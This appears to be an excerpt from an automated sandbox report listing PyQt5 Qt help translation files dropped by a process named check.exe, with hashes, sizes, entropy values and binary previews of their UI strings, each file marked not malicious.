Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......deB..........B.%.....5.0T......K:^.....Uj....?.`.....f..YJ...V.E.4...............>............B<s...z.B\>...\........+.s...Q.zq....C..9....4..vR...B..@.......@.......:......8Z......g.N......F....>...........t.....D ......k.N.......I......^....\|.`#....I..2....<..G....^...N.........................;..........K....y..........GN......NO...........,.K.H.............pN......V...................."..........>.............~........%c.....z.q....i........".F.i.l.t.e.r. .h.i.n.z.u.f...g.e.n..........Add Filter.....FilterNameDialogClass.....".N.a.m.e. .d.e.s. .F.i.l.t.e.r.s.:..........Filter Name:.....FilterNameDialogClass.......O.h.n.e. .T.i.t.e.l..........Untitled.....QHelp.....\.D.i.e. .K.a.t.a.l.o.g.d.a.t.e.i. .k.a.n.n. .n.i.c.h.t. .k.o.p.i.e.r.t. .w.e.r.d.e.n.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....\.D.a.s. .V.e.r.z.e.i.c.h.n.i.s. .k.a.n.n. .n.i.c.h.t. .a.n.g.e.l.e.g.t. .w.e.r.d.e.n.:. .%.1..........Cannot create directory: %

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10704
Entropy (8bit):	4.481291573289571
Encrypted:	false
SSDEEP:	192:q9J9j7e4BQhD0h61nnKz+DJF/45ojDU9V1Wa/rmtIBMH:Wp64ShDnnKz+FhjQpWa/ytoMH
MD5:	9EDF433AB9EE5FC7CF7782370150B26A
SHA1:	A918AE15A0DF187C7789BE8599A80E279F039964
SHA-256:	FD16B279F8CF69077F75E94D90C9C07A2AFFF3948A579E3789F5FFB5E5F4202D
SHA-512:	88245F6FBAAF603A03D7EA2341411AE040791D47C9FF110C6D6CDD8165F0A8BA7A4A0DA5CD543BBE95A4E93FE3A81E95B3664E00C11791FBCB4923E3A80ABC60
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......es_ESB...(.(.....7.0T..../.5w... C.Uj......`.......a[....0..........t..............39..........&e.........B<s...D..M^..............J..%p.O5^...I..)^...1..o>.......J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>....................G...#...w............!.......%..,................^............$a......6.>..........#...K...........$C.W.b....._Xn......GN...\|..~.......TH.."..!.....5.K.H..#f.........pN...j......'..P.~... .o........(....>....."<..~....c.s.>.....o.... ..z.q..........................u.h....!p.......*..e....Qi..'}......(.L.a. .r.a.z...n. .d.e. .e.s.t.o. .p.u.e.d.e. .s.e.r. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n. .e.s.t... .s.i.e.n.d.o. .i.n.d.e.x.a.d.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....2.R.e.s.u.l.t.a.d.o.s. .d.e. .l.a. .B...s.q.u.e.d.a..........Search Results.....QCLu

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_fr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10922
Entropy (8bit):	4.459946393010639
Encrypted:	false
SSDEEP:	192:w4BIn67/WsmoB3r6M/eYlSbyE7DnvE7pcn9nPJZe7nOFovzcNn7Uhmio+2/p53I/:w4N19fq3n2c9Bucuhmi52/X3Qpam
MD5:	D520C7F85CC06C66715A2B6622BF0687
SHA1:	47292D068172FBC9DC0D9BE2F479E890A37CE138
SHA-256:	687E351C062F688AAFF6CF05218D6017B80B1A1B4238D1D30250A55EE41C5FED
SHA-512:	736B50BB64751B127300BCAFE88888A9D9A2081CBF934EDCFFEF6CEF0575505AFDF714273A97671ABB598AE3D23C8E55F7DCD632FB0AA219ED5F763768576E04
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......fr_FRB...(.(.....y.0T....K.5w...!1.Uj....*.`.......a[............5..t..............39....m.....'W.......S.B<s...d..M^.. ...........J..&`.O5^...+..)^......o>.......J..&.......$....t.....8dz..%..D ......k.N.....k.N...D...n.......I...........c..2>..........M.........G...$...w....K..................,................^............$a......6.>...c......$...K....'......%M.W.b....._Xn...j..GN......~.......TH..#..!.......K.H..$Z......,..pN..........'..P.~.....o........(....h.....#4..~......s.>...M.o....!..z.q...........p......L.........h...."^.......b..e.....i..(W......(.I.l. .e.s.t. .p.o.s.s.i.b.l.e. .q.u.e. .c.e.l.a. .s.o.i.t. .d... .a.u. .f.a.i.t. .q.u.e. .l.a. .d.o.c.u.m.e.n.t.a.t.i.o.n. .e.s.t. .e.n. .c.o.u.r.s. .d.'.i.n.d.e.x.a.t.i.o.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.e. .:..........Note:.....QCLuceneResultWidget.....2.R...s.u.l.t.a.t.s. .d.e. .l.a. .r.e.c.h.e.r.c.h.e.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_gl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10891
Entropy (8bit):	4.5087667371046205
Encrypted:	false
SSDEEP:	192:Im7gBZHx4hCTNarW6EJDvoIR765f40wqNcMi/8F/Ihon:v0fHccarW6Eh61wqNcMi/Q/won
MD5:	B62C74793741FC386332A59113E8D412
SHA1:	589CE099F2C1D92581B5CF0E17BE49A2BF0014D4
SHA-256:	7399A248609974773F60866C87B78EA7DFBC4F750313D692F7886CD763883C9F
SHA-512:	D8E1A3B3732662BA572A1387651F2625742710834BEDB41809DA47B5D23020AA1B558B64A00C10C605D1844F0544483163F4A6227CAFFA5ECDABF3BBF4E12D9B
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......gl_ESB...8.(.......0T......Uj......`.....`.a[....F..........t..............1"... S.39.......s...!.............'F.........B<s...8..MQ.. ...........J..&S.0.....x.O5Q......)Q...O..o>...{.......#...J..&.......$....t.....8dz..%..D ......k.A.....k.A.......n.......I.................."...21....................G...#...w............[...!...?...........Q...?........$a....v.6.>..........$...K...........%0._Xa......GA...n..........~.......TH..#..K.H..$M.........pA...Z......'..P.~...B.o........(..........#+..~......s.1.....o....!..z.q...e.............................. ..e....wi..((......(.A. .r.a.z...n. .d.i.s.t.o. .p.o.d.e. .s.e.r. .q.u.e. .a. .d.o.c.u.m.e.n.t.a.c.i...n. .a...n.d.a. .e.s.t.e.a. .a. .i.n.d.e.x.a.r.s.e...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.....*.R.e.s.u.l.t.a.d.o.s. .d.a. .p.r.o.c.u.r.a..........Search Results.....QCLucene

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_hu.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10284
Entropy (8bit):	4.674501432335502
Encrypted:	false
SSDEEP:	192:RNY+rCG3e7LBqYqYseBb/FEWBgSn62TdJgDO9esYGY3DtgGh621XlZ/8kWvIMK:4+rheHYYZdBb/pgSn62T/FeVD3DGGh62
MD5:	5A56E9E2ED6ECE3F249D1C2A7EB3B172
SHA1:	D6F079F40FBB813B0293C1D2210BAE7084092FEC
SHA-256:	70F33B569C2942F41C6D634EA6A61CB8D80EB2C7011BAD48EF6DBAE9677960D5
SHA-512:	28947128FC51791CFDBFD3958FAF9B33979DB52C90AE0159EDB01FE6032284EB37BC05187162983A0435560BCEA864B008F499CDB4CE662792599FE20A37972A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......hu_HUB...(.(.......0T......5w......Uj......`.....4.a[....N..........t....".........39..........%..........B<s...8..M^...8..........J..$..O5^......)^...]..o>.......J..$......."N...t.....8dz..#g.D ......k.N...>.k.N.......n.......I..............2>..........a.........G...!...w.......................,................^............$a......6.>.........."...K....m......"..W.b...l._Xn...~..GN......~.......TH..!F.!.......K.H..!..........pN..........%..P.~...<.o........(.......... ...~......s.>...{.o.....c.z.q...K.......v......l.........h.... ........t..e....mi..%.....~.(.E.z. .a.m.i.a.t.t. .l.e.h.e.t.,. .h.o.g.y. .a. .d.o.k.u.m.e.n.t...c.i... .m...g. .i.n.d.e.x.e.l...s. .a.l.a.t.t. .v.a.n...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......M.e.g.j.e.g.y.z...s.:..........Note:.....QCLuceneResultWidget.....&.K.e.r.e.s...s.i. .e.r.e.d.m...n.y.e.k..........Search Results.....QCLuceneResultWidget.......A

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_it.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10612
Entropy (8bit):	4.458970627057882
Encrypted:	false
SSDEEP:	192:nRxcfy71b+myBN16cbc+w45rtlTnzo7uHp3JQJ9cVu4BJ1G82g33vOVrNL/7nEF1:RR4R/fJn9JizTgnqrNL/b0hH2K
MD5:	3639B57B463987F6DB07629253ACD8BF
SHA1:	65935A67C73F19FCF6023FB95030A5ACAF9DA21C
SHA-256:	316FE8D0815E2B4B396895BEB38EF1A40431915B5E054DF80F4C0CD556F26E4B
SHA-512:	AD7CA93D93A69F273CE80BE7F2F477543B9C5F9C7E4D7448223BFF084EA956B626D6837F22D83C5E282688B938F58C29073C4B5C6F26A797F716C14FABF9FFEE
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......it_ITB...(.(.....g.0T....y.5w... ..Uj....2.`.......a[............'..t..............39..........&..........B<s...j..M^...h......K...J..%..O5^...K..)^......o>...u...J..%.......#....t.....8dz..$..D ......k.N.....k.N.......n.......I..............2>.................o..G..."...w............-......./..,................^...'........$a......6.>..........#...K...........$..W.b....._Xn......GN......~.......TH.."n.!.....5.K.H..#"......>..pN..........&..P.~.....o.....~..(....p.....!...~....A.s.>.....o.... ..z.q..........................q.h....!0.......*..e....;i..'!......(.L.a. .c.a.u.s.a. .d.i. .c.i... .p.o.t.r.e.b.b.e. .e.s.s.e.r.e. .c.h.e. .l.'.i.n.d.i.c.i.z.z.a.z.i.o.n.e. .d.e.l.l.a. .d.o.c.u.m.e.n.t.a.z.i.o.n.e. ... .a.n.c.o.r.a. .i.n. .c.o.r.s.o...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......N.o.t.a.:..........Note:.....QCLuceneResultWidget.......R.i.s.u.l.t.a.t.i. .d.e.l.l.a. .r.i.c.e.r.c.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_ja.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7917
Entropy (8bit):	5.680408580146589
Encrypted:	false
SSDEEP:	192:mP6J37GcBzRjYEPEJJGTnwfJJxb7FTPjzzZBL3/q/I53:mSVqclR5s6Tnwfb7Pj/PL3/q/w3
MD5:	1380A9352C476071BDA5A5D4FED0B6C5
SHA1:	9B737ED05F80FE5D3CD8F588CCEC16BB11DD3560
SHA-256:	AE603B2C0D434D40CDE433FFCBA65F9EE27978A9E19316007BE7FE782A5B8B47
SHA-512:	EC3D68126488C3A163898BACAF7E783217868573635182CAF511ED046B4BE1F99A71FBB24DA607CCB50EDAF70893007AAEE9A6BAAE4C1CD33465A0915AA965DA
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......jaB...(.(.....S.0T......5w....'.Uj......`.......a[............u..t............!.39.....................B<s......M^..............J...>.O5^...O..)^......o>.......J...............t...w.8dz.....D ......k.N.....k.N...H...n.......I...........i..2>...<......G......9..G....P..w............i..........,................^..........'.$a......6.>...5..........K............S.W.b...2._Xn......GN...@..~.......TH.....!.......K.H.............pN...........S.P.~.....o.....\|..(..............~....o.s.>.....o.......z.q..................@.........h.....&....... ..e.....i........@.(0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0K0.0W0.0~0[0.0..).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..:..........Note:.....QCLuceneResultWidget......i.}"}Pg...........Search Results.....QCLuceneResultWidget.....R0.0.0.0.0.0.0n}"_.0nO\b.0L}BN.0W0f0D0j0D0_0.0.i.}"}Pg.0LN.[.Qh0jS..`'0L0B0.0~0Y0..........VThe search results may

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_ko.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	5708
Entropy (8bit):	5.698914195742074
Encrypted:	false
SSDEEP:	96:elPQHJ6L4c7LaQaFQv2QEhBL+Ejma0W40U0BzlQlcrnUSaTIdspIc18CLRSM3LBY:dHI97W1BbNz1VqqzJpoj5y5uY7OGrWFE
MD5:	CD15674A652C2BF435F7578E119182F8
SHA1:	AEA22E4A0D21396733802C7AB738DDD03737B7D6
SHA-256:	F11C64694E8E34E1D2C46C1A1D15D6BA9F2DB7B61DE4FDF54ECA5AB977C3E052
SHA-512:	88BFA112F4DBC0BFB4013CE0937E5180B4AB4A217FC8A963798C7C86532E794E4A1AD88416AE42F26A1C0631B465A5D69BFE75366E048502F5E21F4115A12F19
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......koB............%.......0T......K:^...g.Uj......`........YJ...>.E.4...........z...>..........;.B<s...K.B\>...b........+.s.....zq....[..9....F..vR......@.......@.......:....c.8Z......g.N...7..F....\|...........t.....D ......k.N.......I...m..^......`#....!..2.......G....@...N.................................X..K....{.......i..GN......NO.............K.H..........S..pN...z..V...............................>...........:.~.....i..%c.....z.q....i...s......D.0. .............Add Filter.....FilterNameDialogClass.......D.0. .t...:..........Filter Name:.....FilterNameDialogClass........... ...L..........Untitled.....QHelp.....(...L... ...\|.D. .....`. ... ...L.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....".....0...\|. .... ... ...L.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....2...\|. .%.1... ...x. .L.t...D. .... ... .................&Cannot create index tables in file %1......QHelpCollectionHandler.....,.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9673
Entropy (8bit):	4.622652249027856
Encrypted:	false
SSDEEP:	192:TO/7kBL9wGu3wtCnlhLJUBB7oph+mZ18LgP:T8QnwcCnlhdvphpZ18LgP
MD5:	2B68446B69D9AA40B273D75A581D2992
SHA1:	8A09BD38998543B74E2673478EDD54FB4BBDD068
SHA-256:	CC6CB4D8C54086224672F2E49E623C8CB7C0C1CD65B8D5ECD42FC9BA3A6065BD
SHA-512:	F3A3D6A416B3411613B06FC3EE56625D4D4DE80087182AB0D0601E49314861ABEF97D11A15B4C0511911544A59FBC4A4A52F0CCF0FD43F763A76A8922D8E57B6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......plB.....(.......0T....T.5w......Uj... R.`.......a[...............t............2.39....H......6.......n.B<s.. ...M^..._......6.O5^...F..)^......o>...............t.....D ......k.N.....k.N.../...n.......I...W..........2>...w................G.......w............&.......:..,................^...(..... ..$a....?.6.>...$..........K......W.b....._Xn......GN...Y..~......!.....*.K.H...E....."...pN...-.........P.~...}.o........(....1..~......s.>......%c.."..o.....r.z.q............................h................e.....i..#.......N.i.e.n.a.z.w.a.n.y..........Untitled.....QHelp.....P.N.i.e. .m.o.\|.n.a. .s.k.o.p.i.o.w.a... .p.l.i.k.u. .z. .k.o.l.e.k.c.j...:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....>.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .k.a.t.a.l.o.g.u.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....H.N.i.e. .m.o.\|.n.a. .u.t.w.o.r.z.y... .t.a.b.e.l. .w. .p.l.i.k.u. .%.1........... Cannot create tables in file

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	7288
Entropy (8bit):	5.297177914619657
Encrypted:	false
SSDEEP:	192:dBJjvfq7D6X68uBAzlp5W9+yBPZZZMM7vL0PXJL:JKrMEL0PXJL
MD5:	794AF445A5D7082D51BD22683449F86D
SHA1:	3A0C369872B112A1572AA17EEB814B168B225D98
SHA-256:	557B644E6DA5F1EC720EF93965617087E4D1F40B2494CC5AA524CF3796108DE7
SHA-512:	D42C870A16AEE7626BBE24886AD423895529A2F1A51AC2DBC303BC0E4EF9D3241FE894ECA3F7217AD408C8DCEE165CA4B89D84570357B0EB80340A3F72B0A846
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ruB..........\.%.......0T......K:^.....Uj....L.`........YJ...X.E.4...............>............B<s.....B\>............+.s.....zq.......9....B..vR...L..@.......@....G..:......8Z......g.N......F....>...........t.....D ....R.k.N...E...I...W..^......`#....s..2.......G....^...N.........................K.......d..K............O..GN...b..NO.............K.H.............pN...P..V....................g..........>.............~........%c.....z.q....i........$...>.1.0.2.;.5.=.8.5. .D.8.;.L.B.@.0..........Add Filter.....FilterNameDialogClass.........<.O. .D.8.;.L.B.@.0.:..........Filter Name:.....FilterNameDialogClass.........5.7.K.<.O.=.=.K.9..........Untitled.....QHelp.....b...5. .C.4.0.;.>.A.L. .A.:.>.?.8.@.>.2.0.B.L. .D.0.9.;. .:.>.;.;.5.:.F.8.8. .A.?.@.0.2.:.8.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....<...5. .C.4.0.;.>.A.L. .A.>.7.4.0.B.L. .:.0.B.0.;.>.3.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....`

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	4.70568613551943
Encrypted:	false
SSDEEP:	192:uPq7iBWseXKkVu4+Qv9zEJ1xGMaLNmBgJqdC6/MxIMt:LWcseV04Xv9zEoLNDJqdX/MxRt
MD5:	75C94E59F1FC5312AE25381C247AF992
SHA1:	E3E5F4582CC5FAFE6DF43644D11484861023C084
SHA-256:	F41E33E1D790BD0D3EB180F1F875BC191FE74773628F25C2CAD95E1402E66867
SHA-512:	959B8F4D57FC9728DD4804322333D1792D45A0EE85615B559E0CA3BD2DEA22E2C8C68C6482AE9425D29C819B0ED27473EDDC82EF4B6ECFFB2E2E7B56E1509B63
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk_SKB...8.(.......0T......Uj......`.....0.a[....8..........t..............1"......39.......s........... .....%..........B<s...6..MQ..............J..$-.0.......O5Q......)Q...;..o>...........G...J..$......."....t.....8dz..#..D ......k.A...2.k.A.......n..._...I.................. ...21..........e.........G...!...w....Y...........!...........=...Q............$a......6.>.........."...K....i......# ._Xa..."..GA..............~.......TH..!{.K.H.."7.........pA..........%..P.~.....o........(..........!...~....u.s.1.....o.......z.q...c..............................f..e....9i..&-......(.D...v.o.d.o.m. .m...~.e. .b.y.e. .t.o.,. .~.e. .d.o.k.u.m.e.n.t...c.i.a. .s.t...l.e. .n.i.e. .j.e. .z.i.n.d.e.x.o.v.a.n.....).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......P.o.z.n...m.k.a.:..........Note:.....QCLuceneResultWidget.....".V...s.l.e.d.k.y. .h.>.a.d.a.n.i.a..........Search Results.....QCLuceneResultWidg

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	10363
Entropy (8bit):	4.613473842638716
Encrypted:	false
SSDEEP:	192:vNBqTi7qBCVIQf54EslZ2Jy/L/BnmpP0bX3caK6q1B6/hgIlCCUb0:vjq2+UVT4ESZOYmpP0bX26q1I/yqCCUw
MD5:	3B0AEE27B193A8A563C5CB5C7C4FE60F
SHA1:	C94E832595EC765370553468F87C02DB7E7D138A
SHA-256:	2EC955E662407EBCD8DCDAE5AAA21E4108E0B5B0AEE0E9DB712C27072943535F
SHA-512:	EBC25C378126876F44279E23CA0CF06FC9E7D5F51AD7E3DBDABA7A50C81112EDC1C76F7FD0AF47E447A93C3593BB953A0C9C1FBBFC49494E6B29BF21655F690E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......slB...8.(.....E.0T......Uj......`.......a[............!..t..............1"....;.39.......s....^............$........i.B<s...,..MQ..........}...J..#..0.....Z.O5Q...[..)Q......o>...............J..$I......"W...t...C.8dz..#H.D ......k.A.....k.A.......n.......I.................. P..21....................G...!...w............?...!...3...........Q...+........$a....>.6.>.........."...K...........".._Xa......GA..............~....A..TH..!I.K.H..!..........pA...>......%..P.~...>.o........(....d..... ...~......s.1.....o.......z.q.....................................e....{i..&.....z.(.R.a.z.l.o.g. .j.e. .m.o.r.d.a. .t.o.,. .d.a. .s.e. .d.o.k.u.m.e.n.t.a.c.i.j.o. .a.e. .v.e.d.n.o. .i.n.d.e.k.s.i.r.a...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.......O.p.o.m.b.a.:..........Note:.....QCLuceneResultWidget.....".R.e.z.u.l.t.a.t.i. .i.s.k.a.n.j.a..........Search Results.....QCLuceneResultWidget.......R.e.

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	4629
Entropy (8bit):	4.68793836539357
Encrypted:	false
SSDEEP:	96:BoiK0UD2wMLb7Lqlguotqbww5BLNwWjK0kHU9zuQlUVUfniqthweEIFwC18lLEGA:PXFf7pU75BWWOpcJcVqDFNz8brgyf76r
MD5:	32D6EE3D8EE6408A03E568B972F93BCB
SHA1:	582EE079DBD42000C378E0701D26405750524DBA
SHA-256:	EBDECA0CFEE7A9441DEB800BABFD97C63BC4E421DA885C55B3BD49725EBACD25
SHA-512:	24AAA30B9CB4DB82A57411FBA24A87D70D8B845AE48A6FDA633D0BE6B824B58FDD2F450C2B385F16F49E2F9C6FA0A3124FD0F28594726940F996C66F8F3216CC
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr_TRB.....%.....[.0T......Uj......`.....$..............L.B<s.....B\>..........4.+.s...............t.....D ......k.N...5...I......2.......G....5...N..........a...............f..K....9..........GN...........@.K.H..........q..pN...t..........>...z.~...../..%c.....z.q....i..........B.a._.l.1.k.s.1.z..........Untitled.....QHelp.....J.K.o.l.e.k.s.i.y.o.n. .d.o.s.y.a.s.1. .k.o.p.y.a.l.a.n.a.m.1.y.o.r.:. .%.1..........Cannot copy collection file: %1.....QHelpCollectionHandler.....2.D.i.z.i.n. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r.:. .%.1..........Cannot create directory: %1.....QHelpCollectionHandler.....\.%.1. .d.o.s.y.a.s.1.n.d.a. .d.i.z.i.n. .t.a.b.l.o.l.a.r.1. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r...........&Cannot create index tables in file %1......QHelpCollectionHandler.....N.%.1. .d.o.s.y.a.s.1.n.d.a. .t.a.b.l.o.l.a.r. .o.l.u._.t.u.r.u.l.a.m.1.y.o.r........... Cannot create tables in file %1......QHelpCollectionHandler.....P.S.q.l.i.t.e. .v.e.r.i.t.a.b.a.n.1. .s...r...c...

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9750
Entropy (8bit):	5.281035122342072
Encrypted:	false
SSDEEP:	192:eMp79BCN+u8hhbHbny+HJouHgei50JBSfDvbetpP/RIkT:eIhgNgBbny+phiS3SfDDetpP/RRT
MD5:	90A776917D534B65942063C319573CDC
SHA1:	5DF3B213D985A3BBDB476B37B7780D7D7DF17E41
SHA-256:	497CFC473684692EE44D7A3795E8FB2270C57069FD9EB98A615DD29AB9BE8A7C
SHA-512:	B34A019716B50CE8E1E20AC32756B3B0D5802971F7A04F4BDDE2418DA551AFB9742B79E934979DB6FAB9DAC05D7D26A3B19ABA77158321F8D9AAB08AEBBD455A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk_UAB...(.(.....?.0T......5w......Uj......`.......a[...............t............K.39....u....."..........B<s...8..M^...j......y...J..!..O5^...Y..)^......o>...o...J..":...... <...t...E.8dz..!3.D ....".k.N.....k.N...d...n.......I..............2>...>......o.........G.......w............E.......e..,................^...S........$a......6.>...'...... y..K........... ..W.b....._Xn......GN...p..~.......TH...4.!.....9.K.H.............pN..........#].P.~...~.o.....N..(....b.........~......s.>.....o.....o.z.q..........................U.h.............D..e.....i..#.......(...@.8.G.8.=.>.N. .F.L.>.3.>. .<.>.6.5. .1.C.B.8. .B.5.,. .I.>. .4.>.:.C.<.5.=.B.0.F.V.O. .4.>.A.V. .V.=.4.5.:.A.C.T.B.L.A.O...).........M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget.........@.8.<.V.B.:.0.:..........Note:.....QCLuceneResultWidget.....". .5.7.C.;.L.B.0.B.8. .?.>.H.C.:.C..........Search Results.....QCLuceneResultWidget....... .5.7

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	6441
Entropy (8bit):	5.790303416386852
Encrypted:	false
SSDEEP:	192:pB37nBD4H5PCyLDxLSzJPduYx9vja/FIgH9yIFqfs:rTZ4HUAD1S1JFe/F59PFqfs
MD5:	9297A6905B8B1823BF7E318D9138A104
SHA1:	3DB992A1B3BBCAF314B7EA4A000D6334D7492A52
SHA-256:	C02AAA20923F18ADDAB520BE5CB84EFD4C723396BDC24B4C9A72D406F101C7B4
SHA-512:	01F12CEE0AE456D78942A6049E1C77F94B406C8FFB4A5944DE15E54D1C760CDBA13279530A8F29B1443D1BBC647D3AF5436AAD8C43EB3944316C48300B3827E4
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zhB......I....L.0T......Uj......`.......a[...............t....P..@....Z.......<.........39.......s....2.................B<s......MQ..........9...J......31.....0.......O5Q......)Q...^..o>...........(...........J...V...........t.....8dz.....D ....Z.k.A.....k.A.......n.......I...........t..w................!...........o.......D...Q...E........$a......6.>...h...............%._Xa......GA..........._..TH...r.........pA.............P.~.....o.....].~.q.............~......o.....h.z.q...........H..0q....................i........2..S.u...y.`.Q.v.S.V.S..f/V.N:..e.hckcW(..}"_.0............M(The reason for this might be that the documentation is still being indexed.).....QCLuceneResultWidget......l..............Note:.....QCLuceneResultWidget......d.}"~.g...........Search Results.....QCLuceneResultWidget.....,d.}"~.g.N_..^vN.[.et..V.N:..e.hckcW(..}"_............VThe search results may not be complete since the documentation is still being indexed!.....QCLuceneResultWidget..

C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\translations\qt_help_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	9301
Entropy (8bit):	5.80411750798786
Encrypted:	false
SSDEEP:	192:4bgIXwsL78BQp4dRDP0ludqODa/wkB/tTWn5dJ6mO8IZiT9Dzz/wI3HyRWqUqS:lI/oS4dR5c/tTWn5/EZA9D/w+H8WqUqS
MD5:	47C3328D3918CF627112BB6C50E30B86
SHA1:	05705603AB3F28402A6C103E1C41DDFF21D140C0
SHA-256:	3697F1660D7F2AC9B37AC33CD1C7ECAE08ADBD26710E7E0076497CCDDC8BC830
SHA-512:	8DE1C3C5A48965CF6D8AA545DA9F0A5C00AE124F3E4153597915E7C0F4CAE1E26723270F58A47AA9FFA4AAF30E6EBA522D4EBAD27DECF17EF108E353E611980E
Malicious:	false
Reputation:	unknown
